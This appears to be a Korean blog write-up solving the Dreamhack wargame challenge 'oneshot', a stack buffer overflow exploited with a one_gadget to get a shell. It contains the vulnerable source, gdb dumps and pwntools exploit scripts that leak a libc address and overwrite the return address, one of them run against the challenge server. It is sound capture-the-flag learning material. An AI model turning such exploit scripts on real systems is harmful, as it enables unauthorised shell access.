// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
문제 제목과 같이 oneshot gadget을 이용해서 문제를 풀어보자.
우선 oneshot gadget 설치는 아래와 같이 가능하다.
┌──(kali㉿kali)-[~/Downloads/1279bf21-e0f3-46a4-b577-3c3955c458fb]
└─$ sudo gem install one_gadget
Fetching one_gadget-1.8.1.gem
Fetching bindata-2.4.10.gem
Fetching elftools-1.1.3.gem
Successfully installed bindata-2.4.10
Successfully installed elftools-1.1.3
Successfully installed one_gadget-1.8.1
Parsing documentation for bindata-2.4.10
Installing ri documentation for bindata-2.4.10
Parsing documentation for elftools-1.1.3
Installing ri documentation for elftools-1.1.3
Parsing documentation for one_gadget-1.8.1
Installing ri documentation for one_gadget-1.8.1
Done installing documentation for bindata, elftools, one_gadget after 6 seconds
3 gems installed
실행은 아래와 같다.
┌──(kali㉿kali)-[~/Downloads/1279bf21-e0f3-46a4-b577-3c3955c458fb]
└─$ ldd oneshot
linux-vdso.so.1 (0x00007ffda7bb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f278360f000)
/lib64/ld-linux-x86-64.so.2 (0x00007f2783a00000)
┌──(kali㉿kali)-[~/Downloads/1279bf21-e0f3-46a4-b577-3c3955c458fb]
└─$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xcb5ca execve("/bin/sh", r12, r13)
constraints:
[r12] == NULL || r12 == NULL
[r13] == NULL || r13 == NULL
0xcb5cd execve("/bin/sh", r12, rdx)
constraints:
[r12] == NULL || r12 == NULL
[rdx] == NULL || rdx == NULL
0xcb5d0 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
간단히 설명하자면, memory leak이 가능할때, libc base address를 기준으로 onegadget이 찾아낸 offset을 더해 return만 하면 shell을 실행시킬 수 있다.
이제 코드를 잠시 보면, msg 변수가 16 byte로 선언되었으나 read 함수에서 46 byte를 입력받기에 buffer overflow가 발생한다.
하지만 check 변수가 0이 아니면 exit(0)로 종료하게 된다.
gdb로 다시 한번 확인해보면
gef➤ disas main
Dump of assembler code for function main:
...
0x0000555555400a91 <+80>: lea -0x20(%rbp),%rax
0x0000555555400a95 <+84>: mov $0x2e,%edx
0x0000555555400a9a <+89>: mov %rax,%rsi
0x0000555555400a9d <+92>: mov $0x0,%edi
0x0000555555400aa2 <+97>: call 0x555555400830 <read@plt>
0x0000555555400aa7 <+102>: cmpq $0x0,-0x8(%rbp)
0x0000555555400aac <+107>: je 0x555555400ab8 <main+119>
0x0000555555400aae <+109>: mov $0x0,%edi
0x0000555555400ab3 <+114>: call 0x555555400870 <exit@plt>
...
read 함수로 %rbp - 0x20부터 값을 0x2e만큼 받아들이지만, %rbp - 0x8 에 check 변수가 위치하며, 0이 아니면 종료하게 되며, canary 역할을 어느정도 한다고 볼 수 있다.
더불어 문제의 환경설명을 보면 nx와 pie가 걸려있기에 rtl로 쉘을 획득하여야 한다.
이제 페이로드를 작성해보자.
여기서 쉽게 오해할 수 있는 부분이, 페이로드에 \x00을 넣으면 read 함수의 끝으로 인식해서 그 뒤의 데이터는 입력이 안되지 않을까? 하는 것이다.
이것은 아래 링크를 참조하자.
이제 코드를 작성해보자.
우선 onegadget 중 첫번째 offset으로 시도.
┌──(kali㉿kali)-[~/Downloads/1279bf21-e0f3-46a4-b577-3c3955c458fb]
└─$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xcb5ca execve("/bin/sh", r12, r13)
constraints:
[r12] == NULL || r12 == NULL
[r13] == NULL || r13 == NULL
from pwn import *
p = process('./oneshot')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
stdout = int(b'0x' + p.recvline()[-13:-1],16)
ld = stdout - libc.symbols['_IO_2_1_stdout_']
onegadget = ld + 0xcb5ca
print('stdout add = ',hex(stdout))
print('base add = ',hex(ld))
print('onegadget add = ',hex(onegadget))
pay = b'\x00'*0x28 + p64(onegadget)
gdb.attach(p)
p.sendlineafter(b'MSG: ',pay)
p.recvline()
p.interactive()
하지만, main 함수에서 onegadget address로 return 하는 순간의 r12, r13 값이 0이 아니다.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0055f2fea00af0 → <__libc_csu_init+0> push %r15
$rcx : 0x0
$rdx : 0x10
$rsp : 0x007ffe0b77f180 → 0x007ffe0b77f268 → 0x007ffe0b78033f → "./oneshot"
$rbp : 0x0
$rsi : 0x0
$rdi : 0x007ffe0b77f150 → 0x0000000000000000
$rip : 0x007f7d0d0ff5ca → <maybe_script_execute+154> mov %r13, %rdx
$r8 : 0x0
$r9 : 0x0
$r10 : 0xfffffffffffffb86
$r11 : 0x007f7d0d0dbfd0 → <__memset_sse2_unaligned+0> movd %esi, %xmm0
$r12 : 0x0055f2fea00890 → <_start+0> xor %ebp, %ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007ffe0b77f180│+0x0000: 0x007ffe0b77f268 → 0x007ffe0b78033f → "./oneshot" ← $rsp
0x007ffe0b77f188│+0x0008: 0x0000000100000000
0x007ffe0b77f190│+0x0010: 0x0055f2fea00a41 → <main+0> push %rbp
0x007ffe0b77f198│+0x0018: 0x0000000000000000
0x007ffe0b77f1a0│+0x0020: 0x0055f2fea00af0 → <__libc_csu_init+0> push %r15
0x007ffe0b77f1a8│+0x0028: 0xa4774bfbdbf32a49
0x007ffe0b77f1b0│+0x0030: 0x0055f2fea00890 → <_start+0> xor %ebp, %ebp
0x007ffe0b77f1b8│+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7f7d0d0ff5bb <maybe_script_execute+139> cmp $0x1, %rax
0x7f7d0d0ff5bf <maybe_script_execute+143> jne 0x7f7d0d0ff600 <maybe_script_execute+208>
0x7f7d0d0ff5c1 <maybe_script_execute+145> movq $0x0, 0x10(%r12)
→ 0x7f7d0d0ff5ca <maybe_script_execute+154> mov %r13, %rdx
0x7f7d0d0ff5cd <maybe_script_execute+157> mov %r12, %rsi
0x7f7d0d0ff5d0 <maybe_script_execute+160> lea 0xcd2ab(%rip), %rdi # 0x7f7d0d1cc882
0x7f7d0d0ff5d7 <maybe_script_execute+167> call 0x7f7d0d0fef70 <execve>
0x7f7d0d0ff5dc <maybe_script_execute+172> mov %rbx, %rsp
0x7f7d0d0ff5df <maybe_script_execute+175> mov -0x28(%rbp), %rax
────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "oneshot", stopped 0x7f7d0d0ff5ca in maybe_script_execute (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f7d0d0ff5ca → maybe_script_execute(file=<optimized out>, argv=<optimized out>, envp=0x0)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
계속 실행해보았더니 아래와 같이 segmentation fault가 떠서 실패하였다.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0xffffffffffffffff
$rbx : 0x00562764000af0 → <__libc_csu_init+0> push %r15
$rcx : 0xffffffffffffff88
$rdx : 0x0
$rsp : 0x00562764000af0 → <__libc_csu_init+0> push %r15
$rbp : 0x0
$rsi : 0x00562764000890 → <_start+0> xor %ebp, %ebp
$rdi : 0x007f077ca12882 → 0x68732f6e69622f ("/bin/sh"?)
$rip : 0x007f077c9455df → <maybe_script_execute+175> mov -0x28(%rbp), %rax
$r8 : 0x0
$r9 : 0x0
$r10 : 0xfffffffffffffb86
$r11 : 0x287
$r12 : 0x00562764000890 → <_start+0> xor %ebp, %ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00562764000af0│+0x0000: <__libc_csu_init+0> push %r15 ← $rbx, $rsp
0x00562764000af8│+0x0008: <__libc_csu_init+8> push %rbp
0x00562764000b00│+0x0010: 0x2ce2d8d48550020 (" "?)
0x00562764000b08│+0x0018: 0x8949f68949530020 (" "?)
0x00562764000b10│+0x0020: <__libc_csu_init+32> (bad)
0x00562764000b18│+0x0028: <__libc_csu_init+40> sar $0x3, %rbp
0x00562764000b20│+0x0030: <__libc_csu_init+48> decl -0x7b(%rax)
0x00562764000b28│+0x0038: <__libc_csu_init+56> nopl 0x0(%rax, %rax, 1)
────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7f077c9455d0 <maybe_script_execute+160> lea 0xcd2ab(%rip), %rdi # 0x7f077ca12882
0x7f077c9455d7 <maybe_script_execute+167> call 0x7f077c944f70 <execve>
0x7f077c9455dc <maybe_script_execute+172> mov %rbx, %rsp
→ 0x7f077c9455df <maybe_script_execute+175> mov -0x28(%rbp), %rax
0x7f077c9455e3 <maybe_script_execute+179> sub %fs:0x28, %rax
0x7f077c9455ec <maybe_script_execute+188> jne 0x7f077c94563b <maybe_script_execute+267>
0x7f077c9455ee <maybe_script_execute+190> lea -0x18(%rbp), %rsp
0x7f077c9455f2 <maybe_script_execute+194> pop %rbx
0x7f077c9455f3 <maybe_script_execute+195> pop %r12
────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "oneshot", stopped 0x7f077c9455df in maybe_script_execute (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f077c9455df → maybe_script_execute(file=<optimized out>, argv=<optimized out>, envp=0x0)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
두번째, 세번째 onegadget도 마찬가지로 실패;
그럼 불가능한가?
그런 것 같다. (혹시 있을지도 모른다...)
왜냐하면 ret이 조작 가능하기에, 그냥 gadget으로 문제를 풀어도 될 것 같지만, 받아들이는 값의 크기가 46 byte로 buffer 0x20 (32 byte) + rsp (8byte) + ret (6byte ; 8 byte 중 앞의 2 byte는 쓰지 않으니 무관.) 매우 작기 때문이다.
하지만 이것은 로컬 환경에서 실패한 것이지, 실제 서버에서는 작동할 수도 있으니 시도해보자.
우선 onegadget 주소 재 확인.
┌──(kali㉿kali)-[~/Downloads/1279bf21-e0f3-46a4-b577-3c3955c458fb]
└─$ one_gadget ./libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
요구 조건이 훨씬 간결하다.
이를 기준으로 코드 수정 및 실행.
from pwn import *
p = remote('host3.dreamhack.games',15353)
#p = process('./oneshot')
libc = ELF('./libc.so.6')
stdout = int(b'0x' + p.recvline()[-13:-1],16)
ld = stdout - libc.symbols['_IO_2_1_stdout_']
onegadget = ld + 0x45216
print('stdout add = ',hex(stdout))
print('base add = ',hex(ld))
print('onegadget add = ',hex(onegadget))
print(p64(onegadget))
pay = b'\x00'*0x28 + p64(onegadget)
p.sendlineafter(b'MSG: ',pay)
p.recvline()
p.interactive()
┌──(kali㉿kali)-[~/Downloads/1279bf21-e0f3-46a4-b577-3c3955c458fb]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 15353: Done
[*] '/home/kali/Downloads/1279bf21-e0f3-46a4-b577-3c3955c458fb/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
stdout add = 0x7ff6fa0ed620
base add = 0x7ff6f9d28000
onegadget add = 0x7ff6f9d6d216
b'\x16\xd2\xd6\xf9\xf6\x7f\x00\x00'
[*] Switching to interactive mode
$ id
uid=1000(oneshot) gid=1000(oneshot) groups=1000(oneshot)
$ cat flag
DH{----------#플래그는 삭제}
'Wargame > Dreamhack' 카테고리의 다른 글
basic_exploitation_002 (0) | 2022.07.30 |
---|---|
out_of_bound (0) | 2022.07.30 |
hook (0) | 2022.07.29 |
fho (0) | 2022.07.27 |
basic_rop_x86 (0) | 2022.07.25 |